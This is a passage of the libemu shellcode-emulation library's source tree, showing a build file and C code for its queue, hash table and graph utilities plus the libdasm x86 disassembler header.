-pipe -D _GNU_SOURCE -I../include -Werror -Wall -g lib_LTLIBRARIES = libemu.la SUBDIRS = functions libemu_la_SOURCES = emu.c libemu_la_SOURCES += emu_log.c libemu_la_SOURCES += emu_memory.c libemu_la_SOURCES += emu_cpu_data.c libemu_la_SOURCES += emu_cpu.c libemu_la_SOURCES += emu_string.c libemu_la_SOURCES += emu_getpc.c libemu_la_SOURCES += emu_graph.c libemu_la_SOURCES += emu_hashtable.c libemu_la_SOURCES += emu_list.c libemu_la_SOURCES += emu_queue.c libemu_la_SOURCES += emu_stack.c libemu_la_SOURCES += emu_shellcode.c libemu_la_SOURCES += emu_source.c libemu_la_SOURCES += emu_track.c libemu_la_SOURCES += functions/aaa.c libemu_la_SOURCES += functions/adc.c libemu_la_SOURCES += functions/add.c libemu_la_SOURCES += functions/and.c libemu_la_SOURCES += functions/call.c libemu_la_SOURCES += functions/cmp.c libemu_la_SOURCES += functions/cmps.c libemu_la_SOURCES += functions/dec.c libemu_la_SOURCES += functions/div.c libemu_la_SOURCES += functions/group_1.c libemu_la_SOURCES += functions/group_2.c libemu_la_SOURCES += functions/group_3.c libemu_la_SOURCES += functions/group_4.c libemu_la_SOURCES += functions/group_5.c libemu_la_SOURCES += functions/group_10.c libemu_la_SOURCES += functions/idiv.c libemu_la_SOURCES += functions/imul.c libemu_la_SOURCES += functions/inc.c libemu_la_SOURCES += functions/int.c libemu_la_SOURCES += functions/jcc.c libemu_la_SOURCES += functions/jmp.c libemu_la_SOURCES += functions/lodscc.c libemu_la_SOURCES += functions/loopcc.c libemu_la_SOURCES += functions/misc.c libemu_la_SOURCES += functions/mov.c libemu_la_SOURCES += functions/movsx.c libemu_la_SOURCES += functions/movzx.c libemu_la_SOURCES += functions/mul.c libemu_la_SOURCES += functions/neg.c libemu_la_SOURCES += functions/not.c libemu_la_SOURCES += functions/or.c libemu_la_SOURCES += functions/pop.c libemu_la_SOURCES += functions/push.c libemu_la_SOURCES += functions/rcl.c libemu_la_SOURCES += functions/rcr.c libemu_la_SOURCES += functions/repcc.c libemu_la_SOURCES += functions/ret.c libemu_la_SOURCES += functions/rol.c libemu_la_SOURCES += functions/ror.c libemu_la_SOURCES += functions/sal.c libemu_la_SOURCES += functions/sar.c libemu_la_SOURCES += functions/sbb.c libemu_la_SOURCES += functions/scas.c libemu_la_SOURCES += functions/shr.c libemu_la_SOURCES += functions/stoscc.c libemu_la_SOURCES += functions/sub.c libemu_la_SOURCES += functions/test.c libemu_la_SOURCES += functions/xchg.c libemu_la_SOURCES += functions/xor.c libemu_la_SOURCES += libdasm.c libdasm.h opcode_tables.h libemu_la_SOURCES += environment/emu_env.c libemu_la_SOURCES += environment/emu_profile.c libemu_la_SOURCES += environment/win32/emu_env_w32.c libemu_la_SOURCES += environment/win32/emu_env_w32_dll.c libemu_la_SOURCES += environment/win32/emu_env_w32_dll_export.c libemu_la_SOURCES += environment/win32/env_w32_dll_export_kernel32_hooks.c libemu_la_SOURCES += environment/win32/env_w32_dll_export_urlmon_hooks.c libemu_la_SOURCES += environment/win32/env_w32_dll_export_ws2_32_hooks.c libemu_la_SOURCES += environment/win32/env_w32_dll_export_msvcrt_hooks.c libemu_la_SOURCES += environment/win32/env_w32_dll_export_shell32_hooks.c libemu_la_SOURCES += environment/win32/env_w32_dll_export_shdocvw_hooks.c libemu_la_SOURCES += environment/linux/emu_env_linux.c libemu_la_SOURCES += environment/linux/env_linux_syscall_hooks.c libemu_la_LDFLAGS = -no-undefined -version-info @libemu_soname@ -export-symbols-regex "^emu_" libemu-0.2.0+git20120122+564/src/emu_queue.c0000644000175300017530000000512111706767213016767 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include #include #include #include "emu/emu_queue.h" struct emu_queue *emu_queue_new(void) { struct emu_queue *eq = (struct emu_queue *)malloc(sizeof(struct emu_queue)); if( eq == NULL ) { return NULL; } memset(eq, 0, sizeof(struct emu_queue)); return eq; } void emu_queue_free(struct emu_queue *eq) { while ( emu_queue_empty(eq) == false ) { emu_queue_dequeue(eq); } free(eq); } void *emu_queue_front(struct emu_queue *eq) { return eq->front->data; } void emu_queue_enqueue(struct emu_queue *eq, void *data) { struct emu_queue_item *eqi = emu_queue_item_new(); eqi->data = data; if (emu_queue_empty(eq) == true) { eq->front = eqi; eq->back = eqi; }else { eq->back->next = eqi; eq->back = eqi; } } void *emu_queue_dequeue(struct emu_queue *eq) { if (emu_queue_empty(eq) == true) return NULL; struct emu_queue_item *eqi = eq->front; // last element if ( eq->front == eq->back ) eq->front = eq->back = NULL; else eq->front = eq->front->next; void *data = eqi->data; emu_queue_item_free(eqi); return data; } bool emu_queue_empty(struct emu_queue *eq) { if (eq->front == NULL) return true; else return false; } struct emu_queue_item *emu_queue_item_new(void) { struct emu_queue_item *eqi = (struct emu_queue_item *)malloc(sizeof(struct emu_queue_item)); if( eqi == NULL ) { return NULL; } memset(eqi, 0, sizeof(struct emu_queue_item)); return eqi; } void emu_queue_item_free(struct emu_queue_item *eqi) { free(eqi); } libemu-0.2.0+git20120122+564/src/emu_hashtable.c0000644000175300017530000001424111706767213017601 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include #include "emu/emu_hashtable.h" source_list_functions(emu_hashtable_bucket_items,emu_hashtable_bucket_item_root, emu_hashtable_bucket_item, link); struct emu_hashtable *emu_hashtable_new(uint32_t size, emu_hashtable_hash_cb hash, emu_hashtable_cmp_cb cmp) { struct emu_hashtable *eh = (struct emu_hashtable *)malloc(sizeof(struct emu_hashtable)); if( eh == NULL ) { return NULL; } memset(eh, 0, sizeof(struct emu_hashtable)); eh->size = size; eh->hash = hash; eh->cmp = cmp; eh->buckets = (struct emu_hashtable_bucket **) malloc(sizeof(struct emu_hashtable_bucket *) * size); memset(eh->buckets, 0, sizeof(struct emu_hashtable_bucket *) * size); return eh; } void emu_hashtable_free(struct emu_hashtable *eh) { uint32_t i; struct emu_hashtable_bucket *ehb; struct emu_hashtable_bucket_item *ehbi; for (i=0;isize;i++) { if ((ehb = eh->buckets[i]) != NULL) { while ((ehbi = emu_hashtable_bucket_items_remove_first(ehb->items)) != NULL) { if (eh->key_destructor != NULL) { eh->key_destructor(ehbi->item.key); } if (eh->value_destructor != NULL) { eh->value_destructor(ehbi->item.value); } emu_hashtable_bucket_item_free(ehbi); } emu_hashtable_bucket_free(ehb); } } free(eh->buckets); free(eh); } struct emu_hashtable_item *emu_hashtable_search(struct emu_hashtable *eh, void *key) { uint32_t first_hash = eh->hash(key) % eh->size; struct emu_hashtable_bucket *ehb = eh->buckets[first_hash]; if (ehb == NULL) return NULL; struct emu_hashtable_item *ehi; struct emu_hashtable_bucket_item *ehbi; for (ehbi = emu_hashtable_bucket_items_first(ehb->items); !emu_hashtable_bucket_items_attail(ehbi); ehbi = emu_hashtable_bucket_items_next(ehbi)) { ehi = &ehbi->item; if (eh->cmp(ehi->key, key) == true) return ehi; } return NULL; } struct emu_hashtable_item *emu_hashtable_insert(struct emu_hashtable *eh, void *key, void *data) { struct emu_hashtable_item *ehi; if ((ehi = emu_hashtable_search(eh, key)) == NULL) { struct emu_hashtable_bucket_item *ehbi = emu_hashtable_bucket_item_new(key, data); ehi = &ehbi->item; uint32_t first_hash = eh->hash(key) % eh->size; struct emu_hashtable_bucket *ehb; if ((ehb = eh->buckets[first_hash]) == NULL) { ehb = emu_hashtable_bucket_new(); eh->buckets[first_hash] = ehb; } emu_hashtable_bucket_items_insert_last(ehb->items,ehbi); }else { ehi->value = data; } return ehi; } bool emu_hashtable_delete(struct emu_hashtable *eh, void *key) { uint32_t first_hash = eh->hash(key) % eh->size; struct emu_hashtable_bucket *ehb; if ((ehb = eh->buckets[first_hash]) != NULL) { struct emu_hashtable_bucket_item *ehbi; for (ehbi = emu_hashtable_bucket_items_first(ehb->items); !emu_hashtable_bucket_items_attail(ehbi); ehbi = emu_hashtable_bucket_items_next(ehbi)) { struct emu_hashtable_item *ehi; ehi = &ehbi->item; if (eh->cmp(ehi->key, key) == true) { if (eh->value_destructor != NULL) eh->value_destructor(ehi->value); if (eh->key_destructor != NULL) eh->key_destructor(ehi->key); emu_hashtable_bucket_items_remove(ehbi); return true; } } } return false; } struct emu_hashtable_bucket *emu_hashtable_bucket_new(void) { struct emu_hashtable_bucket *ehb = (struct emu_hashtable_bucket *)malloc(sizeof(struct emu_hashtable_bucket)); if( ehb == NULL ) { return NULL; } memset(ehb, 0, sizeof(struct emu_hashtable_bucket)); ehb->items = emu_hashtable_bucket_items_create(); return ehb; } void emu_hashtable_bucket_free(struct emu_hashtable_bucket *ehb) { emu_hashtable_bucket_items_destroy(ehb->items); free(ehb); } struct emu_hashtable_bucket_item *emu_hashtable_bucket_item_new(void *key, void *value) { struct emu_hashtable_bucket_item *ehbi = (struct emu_hashtable_bucket_item *)malloc(sizeof(struct emu_hashtable_bucket_item)); if( ehbi == NULL ) { return NULL; } memset(ehbi, 0, sizeof(struct emu_hashtable_bucket_item)); ehbi->item.key = key; ehbi->item.value = value; emu_hashtable_bucket_items_init_link(ehbi); return ehbi; } void emu_hashtable_bucket_item_free(struct emu_hashtable_bucket_item *ehbi) { free(ehbi); } /** * string hashing function to avoid duplicate code * algo is djb2 taken from http://www.cse.yorku.ca/~oz/hash.html * * @param data the string to hash * * @return the hash */ uint32_t emu_hashtable_string_hash(void *key) { #ifdef LSOD_HASH uint32_t hash = 0; char *c = (char *)key; while (*c != 0) { hash = hash << 19 | hash >> 13; hash += *c; c++; } return hash; #else unsigned char *str = key; unsigned long hash = 5381; int c; while ( (c = *str++) != 0 ) hash = ((hash << 5) + hash) + c; /* hash * 33 + c */ return hash; #endif } bool emu_hashtable_string_cmp(void *a, void *b) { if ( strcmp(a, b) == 0 ) return true; return false; } uint32_t emu_hashtable_ptr_hash(void *key) { uint32_t ukey = (uint32_t)(uintptr_t)key; ukey++; return ukey; } bool emu_hashtable_ptr_cmp(void *a, void *b) { if ( (uintptr_t)a == (uintptr_t)b ) return true; return false; } libemu-0.2.0+git20120122+564/src/emu_graph.c0000644000175300017530000001456311706767213016756 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include "emu/emu_graph.h" #include "emu/emu_queue.h" source_list_functions(emu_vertexes,emu_vertex_root, emu_vertex, link); source_list_functions(emu_edges,emu_edge_root, emu_edge, link); struct emu_edge *emu_edge_new(void) { struct emu_edge *ee = (struct emu_edge *)malloc(sizeof(struct emu_edge)); if( ee == NULL ) { return NULL; } memset(ee, 0, sizeof(struct emu_edge)); emu_edges_init_link(ee); return ee; } void emu_edge_free(struct emu_edge *ee) { free(ee); } struct emu_vertex *emu_vertex_new(void) { struct emu_vertex *ev = (struct emu_vertex *)malloc(sizeof(struct emu_vertex)); if( ev == NULL ) { return NULL; } memset(ev, 0, sizeof(struct emu_vertex)); ev->edges = emu_edges_create(); ev->backedges = emu_edges_create(); return ev; } void emu_vertex_free(struct emu_vertex *ev) { // FIXME } void emu_vertex_data_set(struct emu_vertex *ev, void *data) { ev->data = data; } void *emu_vertex_data_get(struct emu_vertex *ev) { return ev->data; } struct emu_edge *emu_vertex_edge_add(struct emu_vertex *ev, struct emu_vertex *to) { struct emu_edge *ee; for (ee = emu_edges_first(ev->edges); !emu_edges_istail(ee); ee = emu_edges_next(ee)) { if (ee->destination == to) { ee->count++; return ee; } } ee = emu_edge_new(); ee->destination = to; ee->count++; to->backlinks++; emu_edges_insert_last(ev->edges, ee); struct emu_edge *bee; int8_t has_edge = 0; for (bee = emu_edges_first(to->backedges); !emu_edges_istail(bee); bee = emu_edges_next(bee)) { if (bee->destination == ev) { has_edge = 1; break; } } if (has_edge == 0) { bee = emu_edge_new(); bee->destination = ev; bee->count++; emu_edges_insert_last(to->backedges, bee); } return ee; } struct emu_graph *emu_graph_new(void) { struct emu_graph *eg = (struct emu_graph *)malloc(sizeof(struct emu_graph)); if( eg == NULL ) { return NULL; } memset(eg, 0, sizeof(struct emu_graph)); eg->vertexes = emu_vertexes_create(); return eg; } void emu_graph_free(struct emu_graph *eg) { struct emu_vertex *ev; for ( ev = emu_vertexes_first(eg->vertexes); !emu_vertexes_attail(ev); ev = emu_vertexes_next(ev) ) { if (eg->vertex_destructor != NULL) eg->vertex_destructor(ev->data); emu_edges_destroy(ev->edges); emu_edges_destroy(ev->backedges); } emu_vertexes_destroy(eg->vertexes); free(eg); } void emu_graph_vertex_add(struct emu_graph *eg, struct emu_vertex *ev) { emu_vertexes_insert_last(eg->vertexes, ev); } bool emu_graph_path_exists(struct emu_graph *eg, struct emu_vertex *from, struct emu_vertex *to) { struct emu_vertex *it; struct emu_vertex *ev; for ( it = emu_vertexes_first(eg->vertexes); !emu_vertexes_attail(it); it = emu_vertexes_next(it) ) { it->color = white; it->distance = 0; } it = from; struct emu_queue *eq = emu_queue_new(); emu_queue_enqueue(eq, from); while ( emu_queue_empty(eq) == false ) { ev = (struct emu_vertex *)emu_queue_dequeue(eq); if ( ev == to ) { emu_queue_free(eq); return true; } struct emu_edge *ee; for ( ee = emu_edges_first(ev->edges); !emu_edges_attail(ee); ee = emu_edges_next(ee) ) { if ( ee->destination->color != white ) continue; ee->destination->distance = ev->distance + 1; ee->destination->color = grey; emu_queue_enqueue(eq, ee->destination); } ev->color = black; } emu_queue_free(eq); return false; } /* #include #include "emu/emu_track.h" */ bool emu_graph_loop_detect(struct emu_graph *eg, struct emu_vertex *from) { struct emu_vertex *it; struct emu_vertex *ev; for ( it = emu_vertexes_first(eg->vertexes); !emu_vertexes_attail(it); it = emu_vertexes_next(it) ) it->color = white; it = from; struct emu_queue *eq = emu_queue_new(); emu_queue_enqueue(eq, from); while ( emu_queue_empty(eq) == false ) { ev = (struct emu_vertex *)emu_queue_dequeue(eq); struct emu_edge *ee; for ( ee = emu_edges_first(ev->edges); !emu_edges_attail(ee); ee = emu_edges_next(ee) ) { if ( ee->destination->color != white ) continue; ee->destination->color = grey; emu_queue_enqueue(eq, ee->destination); } ev->color = black; } for ( it = emu_vertexes_first(eg->vertexes); !emu_vertexes_attail(it); it = emu_vertexes_next(it) ) { // printf("%08x \n\tcolor %i\n\tedges %i\n\tpath %i\n",((struct emu_source_and_track_instr_info *)it->data)->eip, it->color, emu_edges_length(it->edges), (int)emu_graph_path_exists(eg, from, it)); if (it->color == white) continue; // if (emu_edges_length(it->edges) < 2) // continue; /* if (emu_graph_path_exists(eg, from, it) == false) continue; */ /* printf("%08x => %08x\n", ((struct emu_source_and_track_instr_info *)from->data)->eip, ((struct emu_source_and_track_instr_info *)it->data)->eip); */ emu_queue_enqueue(eq, it); } while ( emu_queue_empty(eq) == false ) { ev = (struct emu_vertex *)emu_queue_dequeue(eq); struct emu_edge *ee; for ( ee = emu_edges_first(ev->edges); !emu_edges_attail(ee); ee = emu_edges_next(ee) ) { if ( emu_graph_path_exists(eg, ee->destination, ev) == true ) { emu_queue_free(eq); return true; } } } emu_queue_free(eq); return false; } int32_t emu_graph_distance(struct emu_graph *eg, struct emu_vertex *from, struct emu_vertex *to) { if ( emu_graph_path_exists(eg, from, to) == false ) return -1; return to->distance; } libemu-0.2.0+git20120122+564/src/libdasm.h0000644000175300017530000003570711706767213016432 0ustar dt-npbdt-npb /* * libdasm -- simple x86 disassembly library * (c) 2004 - 2005 jt / nologin.org * * libdasm.h: * Definitions for structures, functions and other weird stuff * */ #ifndef _LIBDASM_H #define _LIBDASM_H #ifdef __cplusplus extern "C" { #endif #define __LIBDASM_VERSION__ 0x01040000 #define GET_VERSION_MAJOR \ (__LIBDASM_VERSION__ & 0xff000000) >> 24 #define GET_VERSION_MINOR1 \ (__LIBDASM_VERSION__ & 0x00ff0000) >> 16 #define GET_VERSION_MINOR2 \ (__LIBDASM_VERSION__ & 0x0000ff00) >> 8 #define GET_VERSION_MINOR3 \ (__LIBDASM_VERSION__ & 0x000000ff) // Data types #if _WIN32 #include #define __inline__ __inline #define snprintf _snprintf typedef unsigned __int64 QWORD; // for MSVC typedef signed __int8 SBYTE; typedef signed __int16 SWORD; typedef signed __int32 SDWORD; typedef signed __int64 SQWORD; #else #if defined __sun #define BYTE_ORDER 1234 #define BIG_ENDIAN 1234 #define LITTLE_ENDIAN 4321 #define u_int8_t uint8_t #define u_int16_t uint16_t #define u_int32_t uint32_t #define u_int64_t uint64_t #endif // other *nix #include typedef u_int8_t BYTE; typedef u_int16_t WORD; typedef u_int32_t DWORD; typedef u_int64_t QWORD; typedef int8_t SBYTE; typedef int16_t SWORD; typedef int32_t SDWORD; typedef int64_t SQWORD; #endif // Define endianess #ifndef __X86__ // These should catch x86 with most compilers #if defined _X86_ || defined _i386_ || defined __i386__ #define __X86__ #endif #endif #ifndef __LITTLE_ENDIAN__ // These should catch little-endian with most compilers #if (BYTE_ORDER == LITTLE_ENDIAN) || defined __X86__ || defined _ALPHA_ #define __LITTLE_ENDIAN__ #endif #endif // Registers #define REGISTER_EAX 0 #define REGISTER_ECX 1 #define REGISTER_EDX 2 #define REGISTER_EBX 3 #define REGISTER_ESP 4 #define REGISTER_EBP 5 #define REGISTER_ESI 6 #define REGISTER_EDI 7 #define REGISTER_NOP 8 // no register defined // Registers #define REG_EAX REGISTER_EAX #define REG_AX REG_EAX #define REG_AL REG_EAX #define REG_ES REG_EAX // Just for reg_table consistence #define REG_ST0 REG_EAX // Just for reg_table consistence #define REG_ECX REGISTER_ECX #define REG_CX REG_ECX #define REG_CL REG_ECX #define REG_CS REG_ECX #define REG_ST1 REG_ECX #define REG_EDX REGISTER_EDX #define REG_DX REG_EDX #define REG_DL REG_EDX #define REG_SS REG_EDX #define REG_ST2 REG_EDX #define REG_EBX REGISTER_EBX #define REG_BX REG_EBX #define REG_BL REG_EBX #define REG_DS REG_EBX #define REG_ST3 REG_EBX #define REG_ESP REGISTER_ESP #define REG_SP REG_ESP #define REG_AH REG_ESP // Just for reg_table consistence #define REG_FS REG_ESP #define REG_ST4 REG_ESP #define REG_EBP REGISTER_EBP #define REG_BP REG_EBP #define REG_CH REG_EBP #define REG_GS REG_EBP #define REG_ST5 REG_EBP #define REG_ESI REGISTER_ESI #define REG_SI REG_ESI #define REG_DH REG_ESI #define REG_ST6 REG_ESI #define REG_EDI REGISTER_EDI #define REG_DI REG_EDI #define REG_BH REG_EDI #define REG_ST7 REG_EDI #define REG_NOP REGISTER_NOP // Register types #define REGISTER_TYPE_GEN 1 #define REGISTER_TYPE_SEGMENT 2 #define REGISTER_TYPE_DEBUG 3 #define REGISTER_TYPE_CONTROL 4 #define REGISTER_TYPE_TEST 5 #define REGISTER_TYPE_XMM 6 #define REGISTER_TYPE_MMX 7 #define REGISTER_TYPE_FPU 8 // Disassembling mode enum Mode { MODE_32, // 32-bit MODE_16 // 16-bit }; // Disassembling format enum Format { FORMAT_ATT, FORMAT_INTEL, }; // Instruction types (just the most common ones atm) enum Instruction { // Integer instructions INSTRUCTION_TYPE_ASC, // aaa, aam, etc. INSTRUCTION_TYPE_DCL, // daa, das INSTRUCTION_TYPE_MOV, INSTRUCTION_TYPE_MOVSR, // segment register INSTRUCTION_TYPE_ADD, INSTRUCTION_TYPE_XADD, INSTRUCTION_TYPE_ADC, INSTRUCTION_TYPE_SUB, INSTRUCTION_TYPE_SBB, INSTRUCTION_TYPE_INC, INSTRUCTION_TYPE_DEC, INSTRUCTION_TYPE_DIV, INSTRUCTION_TYPE_IDIV, INSTRUCTION_TYPE_NOT, INSTRUCTION_TYPE_NEG, INSTRUCTION_TYPE_STOS, INSTRUCTION_TYPE_LODS, INSTRUCTION_TYPE_SCAS, INSTRUCTION_TYPE_MOVS, INSTRUCTION_TYPE_MOVSX, INSTRUCTION_TYPE_MOVZX, INSTRUCTION_TYPE_CMPS, INSTRUCTION_TYPE_SHX, // signed/unsigned shift left/right INSTRUCTION_TYPE_ROX, // signed/unsigned rot left/right INSTRUCTION_TYPE_MUL, INSTRUCTION_TYPE_IMUL, INSTRUCTION_TYPE_EIMUL, // "extended" imul with 2-3 operands INSTRUCTION_TYPE_XOR, INSTRUCTION_TYPE_LEA, INSTRUCTION_TYPE_XCHG, INSTRUCTION_TYPE_CMP, INSTRUCTION_TYPE_TEST, INSTRUCTION_TYPE_PUSH, INSTRUCTION_TYPE_AND, INSTRUCTION_TYPE_OR, INSTRUCTION_TYPE_POP, INSTRUCTION_TYPE_JMP, INSTRUCTION_TYPE_JMPC, // conditional jump INSTRUCTION_TYPE_SETC, // conditional byte set INSTRUCTION_TYPE_MOVC, // conditional mov INSTRUCTION_TYPE_LOOP, INSTRUCTION_TYPE_CALL, INSTRUCTION_TYPE_RET, INSTRUCTION_TYPE_INT, // interrupt INSTRUCTION_TYPE_BT, // bit tests INSTRUCTION_TYPE_BTS, INSTRUCTION_TYPE_BTR, INSTRUCTION_TYPE_BTC, INSTRUCTION_TYPE_BSF, INSTRUCTION_TYPE_BSR, INSTRUCTION_TYPE_BSWAP, INSTRUCTION_TYPE_SGDT, INSTRUCTION_TYPE_SIDT, INSTRUCTION_TYPE_SLDT, INSTRUCTION_TYPE_LFP, // FPU instructions INSTRUCTION_TYPE_FCMOVC, // float conditional mov INSTRUCTION_TYPE_FADD, INSTRUCTION_TYPE_FADDP, INSTRUCTION_TYPE_FIADD, INSTRUCTION_TYPE_FSUB, INSTRUCTION_TYPE_FSUBP, INSTRUCTION_TYPE_FISUB, INSTRUCTION_TYPE_FSUBR, INSTRUCTION_TYPE_FSUBRP, INSTRUCTION_TYPE_FISUBR, INSTRUCTION_TYPE_FMUL, INSTRUCTION_TYPE_FMULP, INSTRUCTION_TYPE_FIMUL, INSTRUCTION_TYPE_FDIV, INSTRUCTION_TYPE_FDIVP, INSTRUCTION_TYPE_FDIVR, INSTRUCTION_TYPE_FDIVRP, INSTRUCTION_TYPE_FIDIV, INSTRUCTION_TYPE_FIDIVR, INSTRUCTION_TYPE_FCOM, INSTRUCTION_TYPE_FCOMP, INSTRUCTION_TYPE_FCOMPP, INSTRUCTION_TYPE_FCOMI, INSTRUCTION_TYPE_FCOMIP, INSTRUCTION_TYPE_FUCOM, INSTRUCTION_TYPE_FUCOMP, INSTRUCTION_TYPE_FUCOMPP, INSTRUCTION_TYPE_FUCOMI, INSTRUCTION_TYPE_FUCOMIP, INSTRUCTION_TYPE_FST, INSTRUCTION_TYPE_FSTP, INSTRUCTION_TYPE_FIST, INSTRUCTION_TYPE_FISTP, INSTRUCTION_TYPE_FISTTP, INSTRUCTION_TYPE_FLD, INSTRUCTION_TYPE_FILD, INSTRUCTION_TYPE_FICOM, INSTRUCTION_TYPE_FICOMP, INSTRUCTION_TYPE_FFREE, INSTRUCTION_TYPE_FFREEP, INSTRUCTION_TYPE_FXCH, INSTRUCTION_TYPE_FPU, // Other FPU instructions INSTRUCTION_TYPE_MMX, // Other MMX instructions INSTRUCTION_TYPE_SSE, // Other SSE instructions INSTRUCTION_TYPE_OTHER, // Other instructions :-) INSTRUCTION_TYPE_PRIV // Privileged instruction }; // Operand types enum Operand { OPERAND_TYPE_NONE, // operand not present OPERAND_TYPE_MEMORY, // memory operand ([eax], [0], etc.) OPERAND_TYPE_REGISTER, // register operand (eax, mm0, etc.) OPERAND_TYPE_IMMEDIATE, // immediate operand (0x1234) }; // Structure definitions // struct INST is used internally by the library typedef struct _INST { DWORD type; // Instruction type and flags const char *mnemonic; // Instruction mnemonic int flags1; // First operand flags (if any) int flags2; // Second operand flags (if any) int flags3; // Additional operand flags (if any) int modrm; // Is MODRM byte present? } INST, *PINST; // Operands for the instruction typedef struct _OPERAND { enum Operand type; // Operand type (register, memory, etc) int reg; // Register (if any) int basereg; // Base register (if any) int indexreg; // Index register (if any) int scale; // Scale (if any) int dispbytes; // Displacement bytes (0 = no displacement) int dispoffset; // Displacement value offset int immbytes; // Immediate bytes (0 = no immediate) int immoffset; // Immediate value offset int sectionbytes; // Section prefix bytes (0 = no section prefix) WORD section; // Section prefix value DWORD displacement; // Displacement value DWORD immediate; // Immediate value int flags; // Operand flags } OPERAND, *POPERAND; // struct INSTRUCTION is used to interface the library typedef struct _INSTRUCTION { int length; // Instruction length enum Instruction type; // Instruction type enum Mode mode; // Addressing mode BYTE opcode; // Actual opcode BYTE modrm; // MODRM byte BYTE sib; // SIB byte int extindex; // Extension table index int fpuindex; // FPU table index int dispbytes; // Displacement bytes (0 = no displacement) int immbytes; // Immediate bytes (0 = no immediate) int sectionbytes; // Section prefix bytes (0 = no section prefix) OPERAND op1; // First operand (if any) OPERAND op2; // Second operand (if any) OPERAND op3; // Additional operand (if any) PINST ptr; // Pointer to instruction table int flags; // Instruction flags } INSTRUCTION, *PINSTRUCTION; // Function definitions int get_instruction( INSTRUCTION *inst, // pointer to INSTRUCTION structure BYTE *addr, // code buffer enum Mode mode // mode: MODE_32 or MODE_16 ); // Get complete instruction string int get_instruction_string( INSTRUCTION *inst, // pointer to INSTRUCTION structure enum Format format, // instruction format: FORMAT_ATT or FORMAT_INTEL DWORD offset, // instruction absolute address char *string, // string buffer int length // string length ); // Get mnemonic string int get_mnemonic_string( INSTRUCTION *inst, // pointer to INSTRUCTION structure enum Format format, // instruction format: FORMAT_ATT or FORMAT_INTEL char *string, // string buffer int length // string length ); // Get individual operand string int get_operand_string( INSTRUCTION *inst, // pointer to INSTRUCTION structure POPERAND op, // pointer to OPERAND structure enum Format format, // instruction format: FORMAT_ATT or FORMAT_INTEL DWORD offset, // instruction absolute address char *string, // string buffer int length // string length ); // Helper functions int get_register_type( POPERAND op ); int get_operand_type( POPERAND op ); int get_operand_register( POPERAND op ); int get_operand_basereg( POPERAND op ); int get_operand_indexreg( POPERAND op ); int get_operand_scale( POPERAND op ); int get_operand_immediate( POPERAND op, DWORD *imm // returned immediate value ); int get_operand_displacement( POPERAND op, DWORD *disp // returned displacement value ); POPERAND get_source_operand( PINSTRUCTION inst ); POPERAND get_destination_operand( PINSTRUCTION inst ); // Instruction flags (prefixes) // Group 1 #define MASK_PREFIX_G1(x) ((x) & 0xff000000) >> 24 #define PREFIX_LOCK 0x01000000 // 0xf0 #define PREFIX_REPNE 0x02000000 // 0xf2 #define PREFIX_REP 0x03000000 // 0xf3 #define PREFIX_REPE 0x03000000 // 0xf3 // Group 2 #define MASK_PREFIX_G2(x) ((x) & 0x00ff0000) >> 16 #define PREFIX_ES_OVERRIDE 0x00010000 // 0x26 #define PREFIX_CS_OVERRIDE 0x00020000 // 0x2e #define PREFIX_SS_OVERRIDE 0x00030000 // 0x36 #define PREFIX_DS_OVERRIDE 0x00040000 // 0x3e #define PREFIX_FS_OVERRIDE 0x00050000 // 0x64 #define PREFIX_GS_OVERRIDE 0x00060000 // 0x65 // Group 3 & 4 #define MASK_PREFIX_G3(x) ((x) & 0x0000ff00) >> 8 #define MASK_PREFIX_OPERAND(x) ((x) & 0x00000f00) >> 8 #define MASK_PREFIX_ADDR(x) ((x) & 0x0000f000) >> 12 #define PREFIX_OPERAND_SIZE_OVERRIDE 0x00000100 // 0x66 #define PREFIX_ADDR_SIZE_OVERRIDE 0x00001000 // 0x67 // Extensions #define MASK_EXT(x) ((x) & 0x000000ff) #define EXT_G1_1 0x00000001 #define EXT_G1_2 0x00000002 #define EXT_G1_3 0x00000003 #define EXT_G2_1 0x00000004 #define EXT_G2_2 0x00000005 #define EXT_G2_3 0x00000006 #define EXT_G2_4 0x00000007 #define EXT_G2_5 0x00000008 #define EXT_G2_6 0x00000009 #define EXT_G3_1 0x0000000a #define EXT_G3_2 0x0000000b #define EXT_G4 0x0000000c #define EXT_G5 0x0000000d #define EXT_G6 0x0000000e #define EXT_G7 0x0000000f #define EXT_G8 0x00000010 #define EXT_G9 0x00000011 #define EXT_GA 0x00000012 #define EXT_GB 0x00000013 #define EXT_GC 0x00000014 #define EXT_GD 0x00000015 #define EXT_GE 0x00000016 #define EXT_GF 0x00000017 #define EXT_G0 0x00000018 // Extra groups for 2 and 3-byte opcodes, and FPU stuff #define EXT_T2 0x00000020 // opcode 